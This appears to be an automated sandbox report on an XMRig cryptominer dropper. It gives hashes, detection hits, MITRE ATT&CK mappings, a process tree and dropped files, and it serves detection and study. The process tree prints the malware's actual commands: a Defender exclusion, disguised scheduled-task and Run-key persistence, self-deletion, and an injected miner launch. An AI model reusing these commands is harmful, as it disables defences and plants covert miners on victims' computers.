xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

max time kernel
366s
max time network
1792s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
20/08/2023, 00:18

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General

Target

qM5GMXBk6hJE6Y5e (4).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1780 created 1184	1780	qM5GMXBk6hJE6Y5e (4).exe	20
PID 1780 created 1184	1780	qM5GMXBk6hJE6Y5e (4).exe	20
PID 1780 created 1184	1780	qM5GMXBk6hJE6Y5e (4).exe	20
PID 1780 created 1184	1780	qM5GMXBk6hJE6Y5e (4).exe	20
PID 2228 created 1184	2228	updater.exe	20
PID 2228 created 1184	2228	updater.exe	20
PID 2228 created 1184	2228	updater.exe	20
PID 2228 created 1184	2228	updater.exe	20
PID 3016 created 1184	3016	conhost.exe	20
PID 2228 created 1184	2228	updater.exe	20

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral11/memory/756-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-143-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-145-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-147-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-149-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-151-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-153-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-155-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-157-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-159-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-161-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-163-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-165-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-167-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-169-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-171-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-173-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-175-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-177-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-179-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-181-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-183-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/756-185-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
1240	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2228	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2036	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral11/memory/756-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-143-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-145-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-147-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-149-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-151-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-153-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-155-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-157-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-159-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-161-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-163-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-165-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-167-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-169-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-171-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-173-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-175-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-177-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-179-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-181-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-183-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/756-185-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2228 set thread context of 3016	2228	updater.exe	48
PID 2228 set thread context of 756	2228	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (4).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2692	schtasks.exe
2992	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2564	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 008b6b050ad3d901	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1780	qM5GMXBk6hJE6Y5e (4).exe
1780	qM5GMXBk6hJE6Y5e (4).exe
2596	powershell.exe
1780	qM5GMXBk6hJE6Y5e (4).exe
1780	qM5GMXBk6hJE6Y5e (4).exe
2812	powershell.exe
1780	qM5GMXBk6hJE6Y5e (4).exe
1780	qM5GMXBk6hJE6Y5e (4).exe
1780	qM5GMXBk6hJE6Y5e (4).exe
1780	qM5GMXBk6hJE6Y5e (4).exe
2964	powershell.exe
2228	updater.exe
2228	updater.exe
1192	powershell.exe
2228	updater.exe
2228	updater.exe
2976	powershell.exe
2228	updater.exe
2228	updater.exe
2228	updater.exe
2228	updater.exe
3016	conhost.exe
3016	conhost.exe
2228	updater.exe
2228	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeDebugPrivilege	2812	powershell.exe
Token: SeDebugPrivilege	2964	powershell.exe
Token: SeDebugPrivilege	1192	powershell.exe
Token: SeDebugPrivilege	2976	powershell.exe
Token: SeDebugPrivilege	2228	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2564	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2564	WMIC.exe
Token: SeSecurityPrivilege	2564	WMIC.exe
Token: SeTakeOwnershipPrivilege	2564	WMIC.exe
Token: SeLoadDriverPrivilege	2564	WMIC.exe
Token: SeSystemtimePrivilege	2564	WMIC.exe
Token: SeBackupPrivilege	2564	WMIC.exe
Token: SeRestorePrivilege	2564	WMIC.exe
Token: SeShutdownPrivilege	2564	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2564	WMIC.exe
Token: SeUndockPrivilege	2564	WMIC.exe
Token: SeManageVolumePrivilege	2564	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2564	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2564	WMIC.exe
Token: SeSecurityPrivilege	2564	WMIC.exe
Token: SeTakeOwnershipPrivilege	2564	WMIC.exe
Token: SeLoadDriverPrivilege	2564	WMIC.exe
Token: SeSystemtimePrivilege	2564	WMIC.exe
Token: SeBackupPrivilege	2564	WMIC.exe
Token: SeRestorePrivilege	2564	WMIC.exe
Token: SeShutdownPrivilege	2564	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2564	WMIC.exe
Token: SeUndockPrivilege	2564	WMIC.exe
Token: SeManageVolumePrivilege	2564	WMIC.exe
Token: SeLockMemoryPrivilege	756	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2812 wrote to memory of 2692	2812	powershell.exe	32
PID 2812 wrote to memory of 2692	2812	powershell.exe	32
PID 2812 wrote to memory of 2692	2812	powershell.exe	32
PID 1240 wrote to memory of 2416	1240	cmd.exe	37
PID 1240 wrote to memory of 2416	1240	cmd.exe	37
PID 1240 wrote to memory of 2416	1240	cmd.exe	37
PID 2964 wrote to memory of 2288	2964	powershell.exe	39
PID 2964 wrote to memory of 2288	2964	powershell.exe	39
PID 2964 wrote to memory of 2288	2964	powershell.exe	39
PID 2036 wrote to memory of 2228	2036	taskeng.exe	42
PID 2036 wrote to memory of 2228	2036	taskeng.exe	42
PID 2036 wrote to memory of 2228	2036	taskeng.exe	42
PID 2976 wrote to memory of 2992	2976	powershell.exe	47
PID 2976 wrote to memory of 2992	2976	powershell.exe	47
PID 2976 wrote to memory of 2992	2976	powershell.exe	47
PID 2228 wrote to memory of 3016	2228	updater.exe	48
PID 3032 wrote to memory of 2564	3032	cmd.exe	53
PID 3032 wrote to memory of 2564	3032	cmd.exe	53
PID 3032 wrote to memory of 2564	3032	cmd.exe	53
PID 2228 wrote to memory of 756	2228	updater.exe	55

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1184
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (4).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (4).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2692
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (4).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1240
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2976
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2992
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:3016
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:3032
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:2564
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2924
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:756

C:\Windows\system32\taskeng.exe
taskeng.exe {DFD6C40B-26DC-45CC-9827-7C636D29B9EA} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2036
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
793fff8ebc50a035c4364db9b84f7dde

SHA1
089f291aa6a06cff6ad21b94713f14414342e308

SHA256
c33e3ae856bfa477ff751202c30db41c996853ea2f3db1ad068c15ddb02d99de

SHA512
5d57473b1f4c74b941fed573f91d7da818c13e17ec1e3d784b289156563bbd0e5933896fa0624c18dff740a03214ac556ccb1a00fcd7ab2e27bcbc5b9c41ff96

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
793fff8ebc50a035c4364db9b84f7dde

SHA1
089f291aa6a06cff6ad21b94713f14414342e308

SHA256
c33e3ae856bfa477ff751202c30db41c996853ea2f3db1ad068c15ddb02d99de

SHA512
5d57473b1f4c74b941fed573f91d7da818c13e17ec1e3d784b289156563bbd0e5933896fa0624c18dff740a03214ac556ccb1a00fcd7ab2e27bcbc5b9c41ff96

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QXK605NQVD200YY0BY5E.temp

Filesize
7KB

MD5
793fff8ebc50a035c4364db9b84f7dde

SHA1
089f291aa6a06cff6ad21b94713f14414342e308

SHA256
c33e3ae856bfa477ff751202c30db41c996853ea2f3db1ad068c15ddb02d99de

SHA512
5d57473b1f4c74b941fed573f91d7da818c13e17ec1e3d784b289156563bbd0e5933896fa0624c18dff740a03214ac556ccb1a00fcd7ab2e27bcbc5b9c41ff96

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/756-145-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-177-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-171-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-173-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-167-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-165-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-163-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-161-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-159-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-157-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-155-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-153-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-151-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-149-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-175-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-147-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-121-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/756-143-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-141-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-169-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-179-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-123-0x0000000000230000-0x0000000000250000-memory.dmp

Filesize
128KB

Download
memory/756-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-185-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-183-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-124-0x0000000000770000-0x0000000000790000-memory.dmp

Filesize
128KB

Download
memory/756-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-181-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/756-129-0x0000000000770000-0x0000000000790000-memory.dmp

Filesize
128KB

Download
memory/756-128-0x0000000000230000-0x0000000000250000-memory.dmp

Filesize
128KB

Download
memory/1192-105-0x000007FEF4DF0000-0x000007FEF578D000-memory.dmp

Filesize
9.6MB

Download
memory/1192-104-0x00000000011D0000-0x0000000001250000-memory.dmp

Filesize
512KB

Download
memory/1192-101-0x00000000011D0000-0x0000000001250000-memory.dmp

Filesize
512KB

Download
memory/1192-103-0x00000000011D0000-0x0000000001250000-memory.dmp

Filesize
512KB

Download
memory/1192-102-0x00000000011D0000-0x0000000001250000-memory.dmp

Filesize
512KB

Download
memory/1192-100-0x000007FEF4DF0000-0x000007FEF578D000-memory.dmp

Filesize
9.6MB

Download
memory/1192-99-0x000007FEF4DF0000-0x000007FEF578D000-memory.dmp

Filesize
9.6MB

Download
memory/1780-83-0x000000013FBB0000-0x000000013FDC1000-memory.dmp

Filesize
2.1MB

Download
memory/1780-54-0x000000013FBB0000-0x000000013FDC1000-memory.dmp

Filesize
2.1MB

Download
memory/2228-98-0x000000013F740000-0x000000013F951000-memory.dmp

Filesize
2.1MB

Download
memory/2228-122-0x000000013F740000-0x000000013F951000-memory.dmp

Filesize
2.1MB

Download
memory/2596-59-0x000000001B220000-0x000000001B502000-memory.dmp

Filesize
2.9MB

Download
memory/2596-60-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/2596-61-0x000007FEF5790000-0x000007FEF612D000-memory.dmp

